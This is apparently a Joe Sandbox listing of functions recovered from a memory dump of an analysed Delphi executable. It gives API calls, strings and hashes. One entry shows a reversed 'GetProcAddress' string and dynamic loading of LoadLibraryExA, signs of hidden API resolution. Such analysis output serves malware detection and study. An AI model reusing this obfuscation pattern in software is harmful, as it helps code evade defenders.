                                                                                                                                                                      Function 02C920C4 Relevance: .1, Instructions: 94COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
                                                                                                                                                                      • Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
                                                                                                                                                                      • Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
                                                                                                                                                                      • Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290
                                                                                                                                                                      Function 02C9D214 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 02C9D21D
                                                                                                                                                                        • Part of subcall function 02C9D1E8: GetProcAddress.KERNEL32(00000000), ref: 02C9D201
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                      • String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
                                                                                                                                                                      • API String ID: 1646373207-1918263038
                                                                                                                                                                      • Opcode ID: f5463cdbaa731f162b13adc51f6920805709f84f192d6f8f2e929dec74d437e9
                                                                                                                                                                      • Instruction ID: 23e619fb81d1c9be59ac23ad2c048fd2e9d9dcdb0e2895caed1d15e932398903
                                                                                                                                                                      • Opcode Fuzzy Hash: f5463cdbaa731f162b13adc51f6920805709f84f192d6f8f2e929dec74d437e9
                                                                                                                                                                      • Instruction Fuzzy Hash: 0B417EF2A842099B1E087BAE790C5277BDED3C97203A0451BF00AEB740DE30BE505E79
                                                                                                                                                                      Function 02CA6E58 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleA.KERNEL32(ole32.dll), ref: 02CA6E5E
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02CA6E6F
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02CA6E7F
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02CA6E8F
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02CA6E9F
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02CA6EAF
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,CoSuspendClassObjects), ref: 02CA6EBF
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$HandleModule
                                                                                                                                                                      • String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
                                                                                                                                                                      • API String ID: 667068680-2233174745
                                                                                                                                                                      • Opcode ID: bd9a5654022831d77ad09d106c603f6856a76e4715769e69cdfe5edd66d1d798
                                                                                                                                                                      • Instruction ID: 64de65f4e11852a362f03424fe88e05e74563f7f9ceb5a3494a69f6dd27b0fda
                                                                                                                                                                      • Opcode Fuzzy Hash: bd9a5654022831d77ad09d106c603f6856a76e4715769e69cdfe5edd66d1d798
                                                                                                                                                                      • Instruction Fuzzy Hash: 69F0C9F0AC83937EBF017FB09CA5A372B5DDB01A4C7381A79740365982DAB5C8105FA0
                                                                                                                                                                      Function 02C92530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 02C928CE
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Message
                                                                                                                                                                      • String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
                                                                                                                                                                      • API String ID: 2030045667-32948583
                                                                                                                                                                      • Opcode ID: 4eaf876e755e25c1611bf4d0ef0665f39bb805903f555dddc0ebe20abe21eea2
                                                                                                                                                                      • Instruction ID: dc87f46f5b3fd483b332be8f0b6113d4df371b540398d599f16a0f3a39ad0d0b
                                                                                                                                                                      • Opcode Fuzzy Hash: 4eaf876e755e25c1611bf4d0ef0665f39bb805903f555dddc0ebe20abe21eea2
                                                                                                                                                                      • Instruction Fuzzy Hash: 93A10570A042949FDF21AB2CCC88BD9B6E5EB48350F1440E5DDC9AB285CB758AC5CF52
                                                                                                                                                                      Function 02C9252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      • Unexpected Memory Leak, xrefs: 02C928C0
                                                                                                                                                                      • , xrefs: 02C92814
                                                                                                                                                                      • bytes: , xrefs: 02C9275D
                                                                                                                                                                      • An unexpected memory leak has occurred. , xrefs: 02C92690
                                                                                                                                                                      • The sizes of unexpected leaked medium and large blocks are: , xrefs: 02C92849
                                                                                                                                                                      • The unexpected small block leaks are:, xrefs: 02C92707
                                                                                                                                                                      • 7, xrefs: 02C926A1
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
                                                                                                                                                                      • API String ID: 0-2723507874
                                                                                                                                                                      • Opcode ID: fdf0460964f79a6fbb62286b83aa4966f4a8846dfd1239abe6169e0ac9a22371
                                                                                                                                                                      • Instruction ID: 892ae7de714babf15aff1291fe887f9bebb340d3bec682e09465cfa9caa3f7c1
                                                                                                                                                                      • Opcode Fuzzy Hash: fdf0460964f79a6fbb62286b83aa4966f4a8846dfd1239abe6169e0ac9a22371
                                                                                                                                                                      • Instruction Fuzzy Hash: F271D270A042989FDF219B2CCC88BD9BAE5EB49710F1000E5D9C9EB281CB758AC5CF52
                                                                                                                                                                      Function 02C9BD40 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetThreadLocale.KERNEL32(00000000,02C9C00B,?,?,00000000,00000000), ref: 02C9BD76
                                                                                                                                                                        • Part of subcall function 02C9A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02C9A762
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Locale$InfoThread
                                                                                                                                                                      • String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
                                                                                                                                                                      • API String ID: 4232894706-2493093252
                                                                                                                                                                      • Opcode ID: 9599c68fd899c5cf9d6dc046492c910fa8e125598cd535d5701f8594b4c0069e
                                                                                                                                                                      • Instruction ID: 45950c4995cd7ab80d0c441c31e9f955fdbe4786d3f0eb5a432c402c428706df
                                                                                                                                                                      • Opcode Fuzzy Hash: 9599c68fd899c5cf9d6dc046492c910fa8e125598cd535d5701f8594b4c0069e
                                                                                                                                                                      • Instruction Fuzzy Hash: DD615174B001489BDF54EBA4DC98BDF77B79F88700F50A436E1019B346DA39DE06ABA4
                                                                                                                                                                      Function 02CAAE18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000004), ref: 02CAAE38
                                                                                                                                                                      • GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 02CAAE4F
                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000004), ref: 02CAAEE3
                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000002), ref: 02CAAEEF
                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,00000014), ref: 02CAAF03
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Read$HandleModule
                                                                                                                                                                      • String ID: KernelBase$LoadLibraryExA
                                                                                                                                                                      • API String ID: 2226866862-113032527
                                                                                                                                                                      • Opcode ID: 83051ba82d812e8c7b40ade4eed28de7e19f90f5cf834e6f4677d321d0a7b2c1
                                                                                                                                                                      • Instruction ID: 5e0b627f008f93216cbbc043666869968803f9795b0c39edf33bdc2778b53c5d
                                                                                                                                                                      • Opcode Fuzzy Hash: 83051ba82d812e8c7b40ade4eed28de7e19f90f5cf834e6f4677d321d0a7b2c1
                                                                                                                                                                      • Instruction Fuzzy Hash: F13140B1A40306BBDF60DF69CC95F5A77B8AF0476CF144610EA54DB2C0D771AA50DBA0
                                                                                                                                                                      Function 02C9432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02C943F3,?,?,02CF07C8,?,?,02CBD7A8,02C9655D,02CBC30D), ref: 02C94365
                                                                                                                                                                      • WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02C943F3,?,?,02CF07C8,?,?,02CBD7A8,02C9655D,02CBC30D), ref: 02C9436B
                                                                                                                                                                      • GetStdHandle.KERNEL32(000000F5,02C943B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02C943F3,?,?,02CF07C8), ref: 02C94380
                                                                                                                                                                      • WriteFile.KERNEL32(00000000,000000F5,02C943B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02C943F3,?,?), ref: 02C94386
                                                                                                                                                                      • MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 02C943A4
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: FileHandleWrite$Message
                                                                                                                                                                      • String ID: Error$Runtime error at 00000000
                                                                                                                                                                      • API String ID: 1570097196-2970929446
                                                                                                                                                                      • Opcode ID: a9928c5d60b7892eec3a5e8f2b97af0d20649b69d95b729434621e5633d16ac1
                                                                                                                                                                      • Instruction ID: 2de57c98bd7ac5f2c8d0647bc502d7361b4e3825ebba43acdebc6f562ad38216
                                                                                                                                                                      • Opcode Fuzzy Hash: a9928c5d60b7892eec3a5e8f2b97af0d20649b69d95b729434621e5633d16ac1
                                                                                                                                                                      • Instruction Fuzzy Hash: 27F0F671AD0341B4FE29A6706C4FFA9335C5744F64F180B14B22D680D487E054C1EF12
                                                                                                                                                                      Function 02C9AE44 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02C9ACBC: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02C9ACD9
                                                                                                                                                                        • Part of subcall function 02C9ACBC: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02C9ACFD
                                                                                                                                                                        • Part of subcall function 02C9ACBC: GetModuleFileNameA.KERNEL32(02C90000,?,00000105), ref: 02C9AD18
                                                                                                                                                                        • Part of subcall function 02C9ACBC: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02C9ADAE
                                                                                                                                                                      • CharToOemA.USER32(?,?), ref: 02C9AE7B
                                                                                                                                                                      • GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 02C9AE98
                                                                                                                                                                      • WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02C9AE9E
                                                                                                                                                                      • GetStdHandle.KERNEL32(000000F4,02C9AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02C9AEB3
                                                                                                                                                                      • WriteFile.KERNEL32(00000000,000000F4,02C9AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02C9AEB9
                                                                                                                                                                      • LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 02C9AEDB
                                                                                                                                                                      • MessageBoxA.USER32(00000000,?,?,00002010), ref: 02C9AEF1
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 185507032-0
                                                                                                                                                                      • Opcode ID: d66598b8ef8e6b0b027b7cb3f9b3e7ecffa05411531e798e4064cea9110d558f
                                                                                                                                                                      • Instruction ID: c39b2a6e38a5444aec5092b4f5a8984a84f278155ec672641a12a0632c7e4879
                                                                                                                                                                      • Opcode Fuzzy Hash: d66598b8ef8e6b0b027b7cb3f9b3e7ecffa05411531e798e4064cea9110d558f
                                                                                                                                                                      • Instruction Fuzzy Hash: 841170B2544240BEDE00FB94CC88F9B77EDAB44740F500A2AB754D60D0DA71E9549F66
                                                                                                                                                                      Function 02C9E50C Relevance: 9.1, APIs: 6, Instructions: 139COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02C9E5A5
                                                                                                                                                                      • SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02C9E5C1
                                                                                                                                                                      • SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 02C9E5FA
                                                                                                                                                                      • SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02C9E677
                                                                                                                                                                      • SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 02C9E690
                                                                                                                                                                      • VariantCopy.OLEAUT32(?,00000000), ref: 02C9E6C5
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ArraySafe$BoundIndex$CopyCreateVariant
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 351091851-0
                                                                                                                                                                      • Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
                                                                                                                                                                      • Instruction ID: 3be401ada5c206c34abd84e12b84d73d053d5b4d0bf0ac81a82dba84d5da9cb7
                                                                                                                                                                      • Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
                                                                                                                                                                      • Instruction Fuzzy Hash: 6251E77690062D9BCF22EF59CD88BD9B3BDAF5D314F0441D6E609A7211DA34AF848F60
                                                                                                                                                                      Function 02C93568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02C9358A
                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02C935D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02C935BD
                                                                                                                                                                      • RegCloseKey.ADVAPI32(?,02C935E0,00000000,?,00000004,00000000,02C935D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02C935D3
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CloseOpenQueryValue
                                                                                                                                                                      • String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
                                                                                                                                                                      • API String ID: 3677997916-4173385793
                                                                                                                                                                      • Opcode ID: 33794ae28a643be02ca1392ac13d5e7de106ff5e5336abbd446a47fd5d9c48fe
                                                                                                                                                                      • Instruction ID: 7e253ad24dc677722c8b8d0cbd34d4344fcdf73983b5238cc3f8db88528e7ec3
                                                                                                                                                                      • Opcode Fuzzy Hash: 33794ae28a643be02ca1392ac13d5e7de106ff5e5336abbd446a47fd5d9c48fe
                                                                                                                                                                      • Instruction Fuzzy Hash: FE01F175A40289BAEF11EB909C06BBD73ECEB08B00F1005A2BA05D3580E7749A10DA98
                                                                                                                                                                      Function 02CA80C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02CA8148,?,?,00000000,00000000,?,02CA8061,00000000,KernelBASE,00000000,00000000,02CA8088), ref: 02CA810D
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02CA8113
                                                                                                                                                                      • GetProcAddress.KERNEL32(?,?), ref: 02CA8125
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AddressProc$HandleModule
                                                                                                                                                                      • String ID: Kernel32$sserddAcorPteG
                                                                                                                                                                      • API String ID: 667068680-1372893251
                                                                                                                                                                      • Opcode ID: c82c444c1ca47cdda455bc9c61c57fb94aa374fb79b1b67bc6d6a468efe5cc2b
                                                                                                                                                                      • Instruction ID: 8b72442b3d3844d5a2a6f5818f7963bf9940f831899ca3f9f1098bead676208d
                                                                                                                                                                      • Opcode Fuzzy Hash: c82c444c1ca47cdda455bc9c61c57fb94aa374fb79b1b67bc6d6a468efe5cc2b
                                                                                                                                                                      • Instruction Fuzzy Hash: AE01AD74A40308AFEF10EFA4DC55E9E77AEEB49714F524420F608D7A40DA70A905DA20
                                                                                                                                                                      Function 02C9A9D0 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON
